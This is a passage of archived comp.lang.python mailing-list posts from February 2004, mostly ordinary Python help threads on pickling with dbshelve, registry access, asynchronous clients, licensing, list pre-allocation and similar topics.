testcollection uses dbshelve to store its items to disk. I want design a
package called testmodules.

So I have the following:

a directory called testmodules that holds the following files:
__init__.py
testcollection.py
testitem.py

I have a file called test.py:
---start code---
from testcollection import testcollection
from testitem import testitem

tc = testcollection()

t1 = testitem("car")
t2 = testitem("sportscar")

tc["1"]=t1
tc["2"]=t2

print "iteritems()"
print "\n".join(["%s, %s" % (k, v.name) for k, v in tc.iteritems()])

print "itervalues()"
print "\n".join(["%s" % (v.name, ) for v in tc.itervalues()])

print "values()"
print "\n".join(["%s" % (v.name, ) for v in tc.values()])

print "info"
print tc.dbinfo()
--- end code ---
If I execute this script from within the directory testmodules it works
perfectly. I have got another script test.py that I execute outside the
directory test modules. This script looks like this:

---start code---
from testmodules.testcollection import testcollection
from testmodules.testitem import testitem

tc = testcollection()

t3 = testitem("SUV")

tc["3"]=t3

print "iteritems()"
print "\n".join(["%s, %s" % (k, v.name) for k, v in tc.iteritems()])

print "itervalues()"
print "\n".join(["%s" % (v.name, ) for v in tc.itervalues()])

print "values()"
print "\n".join(["%s" % (v.name, ) for v in tc.values()])

print "info"
print tc.dbinfo()
--- end code ---

When I run this script (after I ran testmodules/test.py) I will get the
following error message:
iteritems()
Traceback (most recent call last):
  File "C:\DataCOnly2\Python\worldObjects\test\test.py", line 11, in ?
    print "\n".join(["%s, %s" % (k, v.name) for k, v in tc.iteritems()])
  File "C:\Python23\lib\UserDict.py", line 99, in iteritems
    yield (k, self[k])
  File "C:\Python23\lib\bsddb\dbshelve.py", line 107, in __getitem__
    return cPickle.loads(data)
ImportError: No module named testitem

When I clear all database files and first run test.py and than
testmodules/test.py I will get the same error message.

So objects made by a the script in one directory cannot be unpickled by a
script in another directory. Why? Anyone?

--- code of testcollection ---
from bsddb import dbshelve, db
import sys, os, inspect, shelve

class testcollection:
    def __init__(self):
        #open a multi reader, one writer database
        dir = os.path.dirname(inspect.getfile(testcollection)) + '/data/'
        if not os.path.exists(dir):
            os.mkdir(dir)
        self._envdir = dir
        self._dbfilename = 'testcollection.dbshelve'
        self._env = db.DBEnv()
        self._env.open(self._envdir,
db.DB_CREATE|db.DB_INIT_CDB|db.DB_INIT_MPOOL)
        self.items = dbshelve.open(self._dbfilename, dbenv=self._env)

    def __setitem__(self, key, value):
        self.items[key]=value

    def __getitem__(self, key):
        return self.items[key]

    def iteritems(self):
        return self.items.iteritems()

    def itervalues(self):
        return self.items.itervalues()

    def values(self):
        return self.items.values()

    def dbinfo(self):
        return self._env.lock_stat()
---end testcollection---

---start of testitem---
class testitem:
    def __init__(self, name="_none_"):
        self.name = name
---end testitem---

---start __init__.py---
__all__ = ["testcollection", "testitem"]
---end __init__.py---




From mcfletch at rogers.com  Sat Feb 21 17:04:17 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sat, 21 Feb 2004 17:04:17 -0500
Subject: Notice: Toronto Pythonistas -- February's meeting @ new location
 & time
Message-ID: <4037D5E1.3080407@rogers.com>

For those of you not at the last meeting, the location for the upcoming 
meeting (this Tuesday) is new, as is the start-time:

    http://web.engcorp.com/pygta/wiki/NextMeeting
    Give-X Offices, 4th floor, 366 Adelaide St. W., @ 7pm

Enjoy yourselves,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From jcarlson at nospam.uci.edu  Wed Feb 18 02:21:45 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 23:21:45 -0800
Subject: Memory pre-allocation for large lists
In-Reply-To: <c0v3il$bk3$1@panix2.panix.com>
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
Message-ID: <c0v3v0$q7o$1@news.service.uci.edu>

> Can, yes.  But why?  Python uses an allocation mechanism for lists that
> results in constant amortized time; there's really no reason to
> pre-allocate.

It is a bit faster to pre-allocate, and sometimes you know how big the 
sequence is going to be beforehand.

  - Josiah


From peter at engcorp.com  Tue Feb 10 11:41:37 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 11:41:37 -0500
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<7xad3re3cc.fsf@ruckus.brouhaha.com>
Message-ID: <402909C1.5256E00A@engcorp.com>

Paul Rubin wrote:
> 
> williamichang at hotmail.com (William Chang) writes:
> > I need extremely efficient and robust _client_ software for some
> > common protocols like HTTP and POP3, supporting 1,000 simultaneous
> > independent connections and commensurate network throughput.  The data
> > get written to files or sockets, so no GUI needed.
> >
> > I am not a Python programmer :-( but I am a "fan" :-) and I have been
> > reading about asyncore/Medusa/Twisted -- which would be my best bet?
> 
> Seriously, I'd probably use asyncore since it's the simplest.  Twisted
> is more flexible but maybe you don't need that.

I agree Twisted is more flexible, but having tried both I'd argue that
it is also simpler.  I was able to get farther, faster, just by following
the simple examples (e.g. http://www.twistedmatrix.com/documents/howto/clients)
on the web site than I was with asyncore.  I also found the source
_much_ cleaner and more readable when it came time to look there as well.

-Peter


From alloydflanagan at comcast.net  Mon Feb  2 10:27:04 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 2 Feb 2004 07:27:04 -0800
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
Message-ID: <e838aa6e.0402020727.182c28c3@posting.google.com>

CGStartup at earthlink.net (Stan Schwartz) wrote in message news:<2da21d6c.0401310807.671be3b7 at posting.google.com>...
> My name is Stan Schwartz, and I'm a University of Pennsylvania 
> Ph.D. and an independent inventor.  I'm submitting two computer 
> graphics patents to the USPTO during the next several weeks.  

I certainly understand why in the current climate you would feel that
obtaining a patent is necessary.  However, I'd seriously request that
you check out the arguments at http://progfree.org before committing
to that route.  Patents on software technologies hurt everyone; it's
just the wrong approach.  On top of that, the USPTO has historically
done an atrocious job of vetting software patents;  you run a high
risk of basing your business on a patent, spending millions in court
to defend it, and have it be invalidated in the end.


From ngps at netmemetic.com  Wed Feb  4 20:23:42 2004
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 5 Feb 2004 01:23:42 GMT
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<bvphmh$gj8$1@mawar.singnet.com.sg>
	<bvpl5u$i35$1@mawar.singnet.com.sg>
	<3222fe00.0402041146.33bda09c@posting.google.com>
Message-ID: <bvs5uu$da2$1@reader01.singnet.com.sg>

According to Sean <stuffduff at cox.net>:
> I went to 0.12 and got it working, docs in 0.12 seem 
> identical to 0.11, maybe the zip files need to be updated?

Yes, they do. ;-)

> Not quite yet.  I moved up to the 2.7 version of ZServerSSL.
> I had to correct a problem in z2s.py that was preventing z2s.py
> from workiong with python 2.2.3

I don't understand. The following command finds nothing:

  ngps at vista:~/prog/ngps/m2/demo/Zope27$ find . -name z2s.py

z2s.py is for Zope 2.6 and is found in demo/Zope/.

> I also had to relocate some certificate related files (since I use
> instances)

As mentioned in demo/Zope27/INSTALL.txt:

  <instance-home>
  -----------------------
  
  The following files are to be copied to the corresponding directories
  in your <instance-home>:
  
  - instance_home/ssl/ca.pem
  - instance_home/ssl/server.pem
  - instance_home/ssl/dh1024.pem


> After logging this to the file it spits another message to the screen
> about can't find file attribute _pyfree.  

_pyfree is used in M2Crypto to denote whether a given C pointer should be
freed on the Python side or the C side. In the case of a C-level crap-out,
a Python hashtable^Wobject instance ;-) is incompletely initialised so may
not have the _pyfree attribute. It is a benign error, in that, by the time
you get here, the python process should be cleaning up and on its way out.
;-)


Please try the steps in demo/Zope27/INSTALL.txt.

Oh, I believe I've only tested Zope 2.7 using Python 2.1 (or whichever
version zope.org's docs recommends specifically). I can't keep up with all
these version variations.

Cheers.


-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net -+- Firewall Change Management & Version Control
http://sandbox.rulemaker.net/ngps -+- Open Source Python Crypto & SSL


From gerrit at nl.linux.org  Wed Feb  4 10:34:23 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 4 Feb 2004 16:34:23 +0100
Subject: Best way to control assignment to attribute?
In-Reply-To: <246a4e07.0402040712.2cd34d65@posting.google.com>
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
Message-ID: <20040204153423.GA4665@nl.linux.org>

Frank Millman wrote:
> I want to control the assignment of a value to an attribute. Instead
> of allowing it to be changed directly, I want to enforce that a method
> is called, which will perform the assignment subject to various
> checks.

I think it is possible with new-style classes, introduced in Python 2.2.

http://users.rcn.com/python/download/Descriptor.htm
http://www.python.org/2.2.2/descrintro.html

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From edcjones at erols.com  Sat Feb  7 12:18:52 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Sat, 07 Feb 2004 12:18:52 -0500
Subject: Recognize structures in Images
In-Reply-To: <opr20dblac1bpyqk@news.swissonline.ch>
References: <opr20dblac1bpyqk@news.swissonline.ch>
Message-ID: <40251ef9$0$20047$61fed72c@news.rcn.com>

David D?rrenmatt wrote:
> I want to write a program in Python which can regonize structures in 
> images (e.g. a person's mouth in a picture of a face) and don't know how 
> to start...
> 
> Do you know any web-ressources on this topic?

Computer vision is a very large field.  Many papers have been written on 
object recognition or face recognition. Try searching for "computer 
vision" or "face recognition".

Also check these URLs out:

http://www-2.cs.cmu.edu/~cil/vision.html
http://citeseer.nj.nec.com/


From mark at mceahern.com  Mon Feb 23 09:03:40 2004
From: mark at mceahern.com (Mark McEahern)
Date: Mon, 23 Feb 2004 08:03:40 -0600
Subject: if statements with or w/o else statements
In-Reply-To: <c1cvan$80l$1@solaris.cc.vt.edu>
References: <c1cvan$80l$1@solaris.cc.vt.edu>
Message-ID: <1077545020.2189.93.camel@dev.internal>

On Mon, 2004-02-23 at 07:31, Bart Nessux wrote:
> Should an if statement have a corresponding else statement?

Syntactically, the answer is no--the else statement is optional.

Logically, though, consider this:

if preCondition:
  doSomething()

That is, e.g., you're testing for a pre-condition that, if false,
indicates failure.  In that case, NOT having an else statement is likely
to mask subtle bugs and it's probably better to have:

if preCondition:
  doSomething()
else:
  raise RuntimeError('X must be true.')

which itself can be expressed differently so that you don't need the
else, e.g.,

if not preCondition:
  raise RuntimeError(...)
doSomething()

;-)

Cheers,

// m




From peter at engcorp.com  Mon Feb  9 15:04:47 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 15:04:47 -0500
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
Message-ID: <4027E7DF.6CBFC09D@engcorp.com>

Carmine Noviello wrote:
> 
> > Sounds great but... Why GPL (and not python)? It will prevent a lot of
> > us working grunts from using the module in the Commanie's code... And we
> > want MORE python!
> > my 0.5c
> 
> I have chosen the GPL without any special reason: I know it and so I
> simply used it. I?m not a license expert: I write code, no contracts.
> However, my major intent is to contribute to python community with this
> tool: so, if the type of licence can be a problem for the end-user I?m
> ready to change it in the future.

The page at http://www.opensource.org/licenses/ can rapidly propel you
towards a better understanding of license issues.  

In any case, I recommend the MIT license (on that page) as the simplest
way to "contribute to the python community" if you have no particular 
desire to constrain the use of your code in any way (including, for example,
requiring things like "proper credit be given in the documentation" etc).

-Peter


From bart_nessux at hotmail.com  Wed Feb 11 13:18:27 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 13:18:27 -0500
Subject: str.find for multiple strings
Message-ID: <c0drlj$hsj$1@solaris.cc.vt.edu>

x = str.find(temp, '120.50')

I am looking for '120.50' '120.51' '122.78' etc. How can I do this with 
just one str.find... I can use re if I must, but I'd like to avoid it if 
possible.



From kak at purdue.edu  Wed Feb 18 01:44:50 2004
From: kak at purdue.edu (Avi Kak)
Date: Wed, 18 Feb 2004 06:44:50 GMT
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<4032FF69.FFF2AED5@alcyone.com>
Message-ID: <072630pu7kc0t49aq020iduq80chsf0tul@4ax.com>



Thanks, Erik.  That would work for me.

Avi


On Tue, 17 Feb 2004 22:00:09 -0800, Erik Max Francis <max at alcyone.com>
wrote:

>Avi Kak wrote:
>
>> Can the same be done in Python?
>
>Not directly, but you can just fill it with something you're not going
>to use:
>
>	arra = [None] * 999



From pete at shinners.org  Mon Feb 16 19:43:15 2004
From: pete at shinners.org (Pete Shinners)
Date: Mon, 16 Feb 2004 16:43:15 -0800
Subject: New SolarWolf, 1.5
Message-ID: <c0ro33$tat$1@sea.gmane.org>

There is a new version of SolarWolf available. SolarWolf is a frantic 2D 
arcade game of collecting and dodging. It is written in Python and has 
become a very good game.

This new version enhances the menu screens, more music, and adds user 
preferences. Check out the downloads and screenshots from the main site. If 
you haven't looked at this game in awhile now is the time to check it out. 
It has become an entirely better game with recent releases.

http://www.pygame.org/shredwheat/solarwolf/




From danl_kramer at yahoo.com  Sun Feb  8 01:21:42 2004
From: danl_kramer at yahoo.com (Daniel Kramer)
Date: 7 Feb 2004 22:21:42 -0800
Subject: how to pass scripts to python -c
Message-ID: <75765317.0402072221.644f364f@posting.google.com>

what are the formatting rules to passing python commands to the python
command line?  I've tried the following, which works:

echo hello | python  -c "import sys; print sys.stdin.read()[:4]"

I'm actually trying to shell out of another scripting lang that's not
very good at string parsing to have python do some work.. the only
problem is this other lang doesn't like the ";" in my python command
string and fails.  Is there another notation I can use on a single
line to tell python that there is a line break?

I tried:
echo hello | python  -c "import sys\n print sys.stdin.read()[:4]"

but that doesn't work
 
any suggestions? 

thanks 

daniel


From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb 24 15:08:01 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 25 Feb 2004 06:58:01 +1050
Subject: What's the best newsgroup/mailing list for Tkinter problems?
References: <tDC_b.606683$X%5.527778@pd7tw2no>
Message-ID: <slrnc3ncuh.17o.bignose-hates-spam@rose.localdomain.fake>

On Tue, 24 Feb 2004 06:59:37 GMT, stewart wrote:
> where is the best place to discuss GUI development problems?  Thanks!

Which do you mean?  Your Subject header specifies Tkinter, but here you
ask about GUI in general.

If you think your problem is related to Tk (The widget toolkit
underlying Tkinter), then comp.lang.tcl is probably best.

If you think your problem is related to Python's Tk wrapper, Tkinter,
then comp.lang.python is probably the best group.

If you want to ask about "GUI development problems", you'll probably
have to be more specific.

-- 
 \     "A celibate clergy is an especially good idea, because it tends |
  `\     to suppress any hereditary propensity toward fanaticism."  -- |
_o__)                                                       Carl Sagan |
Ben Finney <http://bignose.squidly.org/>


From r.s at ZZmindspring.com  Wed Feb 18 17:13:17 2004
From: r.s at ZZmindspring.com (r.e.s.)
Date: Wed, 18 Feb 2004 22:13:17 GMT
Subject: windows file names in Python
References: <3064b51d.0402181333.12d57963@posting.google.com>
Message-ID: <1sRYb.9417$WW3.6505@newsread2.news.pas.earthlink.net>


<beliavsky at aol.com> wrote in message
news:3064b51d.0402181333.12d57963 at posting.google.com...
> I know to use "\\" as the separator in Windows file names to get them
> recognized in Python. Is there a way to get "\" recognized as a
> directory separator?

Like this, for example? ...

fpath = r'C:\Documents and Settings\res\test.txt'
f = open(fpath,'wb')

--r.e.s.



From rus20376 at salemstate.edu  Tue Feb 10 10:56:48 2004
From: rus20376 at salemstate.edu (omission9)
Date: 10 Feb 2004 07:56:48 -0800
Subject: wxPython error "can't set focus to invalid window"
Message-ID: <defa238f.0402100756.2433455f@posting.google.com>

An application I have written is, suddenly it seems, throwing the
following error after being left in use for several hours. This does
not seem to occur with lighter usage. I am not 100% sure what causes
this? Anyone have any advice? Seen it before?

Traceback (most recent call last):
  File "PythonCardPrototype\binding.pyo", line 304, in _dispatch
  File "wxPython\events.pyo", line 23, in GetEventType
wxPython.wxc.wxPyAssertionError: C++ assertion "wxAssertFailure"
failed in e:\Projects\wx2.4\src\msw\window.cpp(454): can't set focus
to invalid window


From js at jeannot.org  Sat Feb 28 21:26:46 2004
From: js at jeannot.org (Jean-Sebastien Roy)
Date: Sun, 29 Feb 2004 03:26:46 +0100
Subject: Identity dictionnary
References: <js-665C5B.03054329022004@biggoron.nerim.net>
	<40414A60.F5F64A96@alcyone.com>
Message-ID: <js-B54D62.03264629022004@biggoron.nerim.net>

In article <40414A60.F5F64A96 at alcyone.com>,
 Erik Max Francis <max at alcyone.com> wrote:

> Jean-Sebastien Roy wrote:
> 
> > I'm trying to create an object to be used as a key in a dictionary,
> > where comparison (for key retrieval) would be done by 'is' instead of
> > __eq__.
> > (__eq__ is defined in this object, but serve another purpose and does
> > not return a boolean).
> 
> Why would you override __eq__ in such a bizarre way?

For example to do symbolic calculation where a == b is an expression 
instead of a comparison.

I should add a precision to my question:
I found a post by Tim Peters (on 2001-07-08) that said:

> no comparison is done unless the full hash codes are equal

It seems to be exactly what I need, but is it a guarantee or will it 
change in the next versions ?

Regards,

js


From steve at ninereeds.fsnet.co.uk  Sat Feb 14 12:49:59 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 14 Feb 2004 17:49:59 +0000
Subject: Beginners list of Python donloads - please review
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
Message-ID: <msls20574i1v06ksrvvuknvlndocf65kii@4ax.com>

On Sat, 14 Feb 2004 13:35:47 GMT, "Will" <wstandley at netpv.com> wrote:

>I running Windows XP Pro and wanted to download Python and any additional
>tools I should consider using as I get going...
>
>3 - Py2exe from http://starship.python.net/crew/theller/py2exe/index.html

Py2exe strikes me as probably unnecessary for a beginner. It's more
something to use when you're distributing a final program, and even
then there are arguments against this approach as well as for it.

Of course beginners may be reassured just to know it's there if they
need it.

>6 - Python Docs from http://www.python.org/doc/2.3.3/

Aren't the Python Docs included in the main Python distribution?



For more advanced beginners (if that isn't a contradiction <g>) who
are interested in C/C++ interoperability, you might want to list...

http://www.swig.org/
  Simplified Wrapper and Interface Generator - automatic generation of
  wrapper code to link C/C++ and Python (or a range of other
  languages).

http://www.boost.org/
  Boost C++ libraries, including Boost C++, for extending and
  embedding Python.

http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/
  If you want to write an extension module more as an optimisation
  rather than for interoperability, Pyrex is basically a compiled
  language with near-Python syntax, which can make a huge difference
  for some types of code.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From brent at bjohnson.net  Fri Feb 20 19:24:02 2004
From: brent at bjohnson.net (Brent L Johnson)
Date: Fri, 20 Feb 2004 19:24:02 -0500
Subject: [solved] RE: Installing RPM rebuild and failed dependency
In-Reply-To: <03c801c3f80f$f8b51240$c801a8c0@torpedo>
Message-ID: <03cd01c3f811$03ba0140$c801a8c0@torpedo>

I just removed the Berkeley DB version in /usr/local
and did another rebuild and it seems to have worked fine.

Thanks,

- Brent

> > > Why can't you use the db4 packages included in RH9?
> > 
> > Ummmmm - well... I figured there was probably a RH9
> > package for the Berkeley DB but I wasnt sure what
> > the package name was.  db4 eh?  I'll take a look.
> 
> Well I found a db4 package on my RH9 CD's and I tried 
> installing it.  It turns out that I already had it installed.
> 
> warning: db4-4.0.14-20.i386.rpm: V3 DSA signature: NOKEY, key 
> ID db42a60e
>         package db4-4.0.14-20 is already installed
> 
> I assume this is the package you were referring to?  OK so
> what next?
> 
> - Brent
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 
> 
> 




From cgroth at gmx.net  Sun Feb  8 11:24:07 2004
From: cgroth at gmx.net (Christoph Groth)
Date: Sun, 08 Feb 2004 17:24:07 +0100
Subject: Overriding the __new__ method
Message-ID: <87vfmho7yw.fsf@gmx.net>

Hello,

The essay "Unifying types and classes in Python 2.2"
http://www.python.org/2.2.1/descrintro.html says in section
"Overriding the __new__ method":

<quote>
This class isn't very useful (it's not even the right way to go about
unit conversions) but it shows how to extend the constructor of an
immutable type. If instead of __new__ we had tried to override
__init__, it wouldn't have worked:

    >>> class inch(float):
    ...     "THIS DOESN'T WORK!!!"
    ...     def __init__(self, arg=0.0):
    ...         float.__init__(self, arg*0.0254)
    ...
    >>> print inch(12)
    12.0
    >>> 
</quote>

Well, I tried this with Python 2.2.1 and it _does_ work:

piglet:~$ python
Python 2.2.1 (#1, Sep  7 2002, 14:34:30) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class inch(float):
...     def __init__(self, arg=0.0):
...         float.__init__(self, arg*0.0254)
... 
>>> print inch(12)
12.0

Now I'm a bit puzzled.

Thank you,

Christoph
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From pat_blair at prn.com  Fri Feb  6 13:45:05 2004
From: pat_blair at prn.com (Pat Blair)
Date: Fri, 6 Feb 2004 10:45:05 -0800
Subject: Resolved: Writing to REG_MULTI_SZ windows registry keys
Message-ID: <93F1336E37BAD211B06F0090273F77320857D830@MAIL>

Sorry to anyone who read this post, but in case it's useful to anyone:
Further experiments reveal that while a tuple comes back if you read a
multi-line string, you set the value using a list (not a tuple).  That's
sensible and I don't know why this didn't occur to me before I posted.
Thanks

 

-----Original Message-----
From: Pat Blair [mailto:pat_blair at prn.com] 
Sent: Friday, February 06, 2004 10:10 AM
To: python-list at python.org
Subject: Writing to REG_MULTI_SZ windows registry keys

 

Hello.  I'm looking for any information I can get about writing values to
keys in the Windows registry when the value type is a multi-string (ie.
REG_MULTI_SZ).  When I get the value of a multi-string value using winreg
functions, I get a tuple with tuple[0] being a list, and tuple[1] a number.
If I try to write such a tuple back into a multi-string value, I get the
following exception:

 

ValueError: Could not convert the data to the specified type.

 

I haven't been able to find any documents, postings, etc. that deal with
this specifically.  My test code is listed below.  If any tips can be
offered, they will be much appreciated!

 

from _winreg import *

import sys

 

 

#get the current value of the PendingFileRenameOperations key

def getCurrentValue():

    aReg = ConnectRegistry(

        None,

        HKEY_LOCAL_MACHINE)

    aKey = OpenKey(aReg, r"SYSTEM\CurrentControlSet\Control\Session
Manager")

    value = QueryValueEx(aKey, "PendingFileRenameOperations")

    CloseKey(aKey)

    return value

 

#set the value of a test REG_MULTI_SZ key (this key already exists")

def setNewValue(value):

    aReg = ConnectRegistry(

        None,

        HKEY_LOCAL_MACHINE)

    aKey = OpenKey(aReg, r"SOFTWARE\PRN_TEST", 0, KEY_WRITE)

    SetValueEx(

        aKey,

        "PendingFileRenameOperations",

        0,

        REG_MULTI_SZ,

        value

    )

    CloseKey(aKey)

    

 

#the name of some file I want to add to the list

renamedTarget = r"C:\some_file_i_want_to_delete.txt"

 

tuple = getCurrentValue()

print tuple

list = tuple[0]

list.append(unicode(renamedTarget))

newtuple = (list, tuple[1])

 

setNewValue(tuple)

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From exarkun at intarweb.us  Thu Feb  5 09:31:40 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 5 Feb 2004 09:31:40 -0500
Subject: Creating a variable of a specific type
In-Reply-To: <bvthul$ogh$1@panix2.panix.com>
References: <mailman.1236.1075978481.12720.python-list@python.org>
	<bvtei9$10enm4$1@ID-111250.news.uni-berlin.de>
	<bvthul$ogh$1@panix2.panix.com>
Message-ID: <20040205143140.GA22941@intarweb.us>

On Thu, Feb 05, 2004 at 08:54:29AM -0500, Aahz wrote:
> In article <bvtei9$10enm4$1 at ID-111250.news.uni-berlin.de>,
> Diez B. Roggisch <nospam-deets at web.de> wrote:
> >
> >Now back to your problem: I don't know right from my head what socket
> >requires as inet-type, but I guess its a tuple of some sort. You don't need
> >to declare a variable for that - just use it. If you need to check for a
> >symbol not beeing initialized, simply use None as value, like here:
> >
> >address = None
> >if address:
> >  do_something(address)
> >
> >None is considered false. You might be more explicit, by using
> >
> >if address == None:
> >
> >but thats a matter of taste (to me, at least...)
> 
> No, that's not a matter of taste, it's a matter of incorrect coding.
> Using ``==`` calls a method on address, which could return true even if
> address isn't None.  Much better to use ``is``, which is guaranteed to
> return true only if address really *is* None.
> 
> Note that in the absence of special methods for comparison, all Python
> objects are true, so your original formulation is especially appropriate.

  Just as using "==" calls a method on address, which could return true even
if address isn't None, calling bool() with address may return false, even if
address isn't None!  "if address:" may work in some cases, but it will
return incorrect results when address has been initialized to another false
value ([] is especially common, I find), when it is initalized to a class
defining __nonzero__/__len__ in certainly ways, and in some unfortunate
cases it may even raise an exception (eg, cgi.FieldStorage).

  Jp



From andreas.lobinger at netsurf.de  Fri Feb 20 05:07:27 2004
From: andreas.lobinger at netsurf.de (Andreas Lobinger)
Date: Fri, 20 Feb 2004 11:07:27 +0100
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
Message-ID: <4035DC5F.FBACD4F8@netsurf.de>

Aloha,

Andreas Lobinger schrieb:
> How to generate (memory and time)-efficient a string containing
> random characters? 

> d = [random.choice(string.letters) for x in xrange(3000)]
> s = "".join(d)

1) Sorry for starting a new thread, but there were calls for more spec.
2) Thanks for all replies so far.

To be more specific about
- OS/availability of /dev/random
Im looking for an elegant solution for all types. At the moment i'm 
developing in parallel on a slow (250MHz) i86/Win95 notebook, a typical
i86/linux box and a couple of SUNs (up to 16GB main-mem...).

- using random / crypto-safe-strings
The use of random is intended, because it generates a known sequence.
I can store the seed an re-generate the sequence any time, and afaik
the sequence is OS/machinetype independent.

As i wrote in the original post, the random string is only a prerequisite
for another question.

- What to do with the string
I use the sting as a testpattern for a tokenizer/parser. So the usage
of string.letters is only used as an example here.

The main question was: 
How to concat a string without contantly reallocating it.

Wishing a happy day
		LOBI


From stephendotboulet at motorola_._com  Thu Feb  5 15:41:26 2004
From: stephendotboulet at motorola_._com (Stephen Boulet)
Date: Thu, 05 Feb 2004 14:41:26 -0600
Subject: Long list to numeric multi-D array
In-Reply-To: <bvtsnm$r1b$1@newshost.mot.com>
References: <bvtsnm$r1b$1@newshost.mot.com>
Message-ID: <bvu9sv$gti$1@newshost.mot.com>

To respond to my own post, after a bit of digging, there is a much 
faster way.

Coerce my list to a numarray:

    bigList = inputarray(bigList,Float64)

Then just change its shape:

     dims = [self.DUTS,self.UUTS,..,self.MEASURED]
     dims.reverse()
     dims = tuple(dims)
     bigList.setshape(dims)


Stephen Boulet wrote:

> I have a long list of floats (1613808 elements long). It takes quite a 
> while to load this into a 7 dimensional Numeric array.
> 
> Is there any obvious way to speed this up?
> 
> def insertData(self,data):
> 
>     # Start off with an array of the desired size
>     # "self.MEASURED", etc., are integers
>     arrayData = zeros([self.MEASURED, self.SWEPT, \
>       self.TEMPS,self.DCS, self.IVS, self.UUTS,   \
>       self.DUTS], Float64)
> 
>     i = 0
> 
>     for device in range(self.DUTS):
>         for unit in range(self.UUTS):
>             for iv in range(self.IVS):
>                 for dc in range(self.DCS):
>                     for temp in range(self.TEMPS):
>                         for swept in range(self.SWEPT):
>                             for measured in range(self.MEASURED):
> 
> arrayData[measured][swept][temp][dc][iv][unit][device] = bigList[i]
>                                 i += 1
>     return arrayData
> 
> Stephen


From dw-google.com at botanicus.net  Fri Feb  6 18:39:22 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: 6 Feb 2004 15:39:22 -0800
Subject: Interaction with two mouse
References: <bvviff$h2u$1@newsfeed.cineca.it>
Message-ID: <99dce321.0402061539.5973ae94@posting.google.com>

"Michele Diegoli" <m.diegoli at cineca.it> wrote...

> I have an hard question:
> I want to use two indipendent mouse with my application.
> How can I implement this?

Assuming you mean Windows, and assuming there is no way of disabling
the multiplexing effect of Windows (see other peeps' posts), then
perhaps you could write a very small driver to loop reading from an
RS232 port and working out the current coordinates.

I would imagine that Windows stops mouse detection after it finds one
on the USB bus and/or the PS/2 port, with RS232 being a fallback. So
if you have one mouse plugged into the PS/2 port, then booting with
another connected to the RS232 port leaves it free for apps to talk
to.

What you do with the events received from this little driver is up to
you. I can imagine < 100 lines of code implementing enough to generate
move and click events.

A bit of a crazy suggestion, but might be a useful fallback if you
find no other solution. :)


David.


From hoi.wai at alumni.ust.hk  Tue Feb 17 10:47:40 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Tue, 17 Feb 2004 23:47:40 +0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <c0r48l$2m1$1@news.service.uci.edu>
References: <c0qc5j$2g52$1@news.hgc.com.hk> <c0r48l$2m1$1@news.service.uci.edu>
Message-ID: <c0te8t$s06$1@news.hgc.com.hk>

Josiah Carlson wrote:

>>     Are there any utility that can be call by python to create self 
>> extracting zip file. I'm now using the powerarchiever. But the command 
>> line options aren't flexible enough. Basically, I would like to create 
>> a self extracting zip with default file path extraction and force 
>> over-write. The powerArchiever just don't let me call it unless I'm 
>> using the GUI.
>>     Any idea, experience and suggestion are welcome.
>>     Thank you.
> 
> 
> You are in the wrong newsgroup.
> 
> To answer your question, any command-line utility can be called with 
> os.system.
> 
> Pick any command-line utility you want.  I prefer Info-zip:
> http://www.info-zip.org/pub/infozip/
> 
>  - Josiah
Thank Josiah, in fact, which newsgroup should I post
-calvin


From ian at emit.demon.co.ukx  Sun Feb  8 04:21:00 2004
From: ian at emit.demon.co.ukx (Ian McConnell)
Date: Sun, 08 Feb 2004 09:21:00 +0000
Subject: OT: PHP as a general language (was Re: where does Python stand?)
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<mailman.1246.1076000375.12720.python-list@python.org>
	<c718a6cf.0402071225.ea09de6@posting.google.com>
	<slrnc2ahif.ojd.joe@gate.notcharles.ca>
Message-ID: <873c9msz9f.fsf@emit.demon.co.uk>

Joe Mason <joe at notcharles.ca> writes:

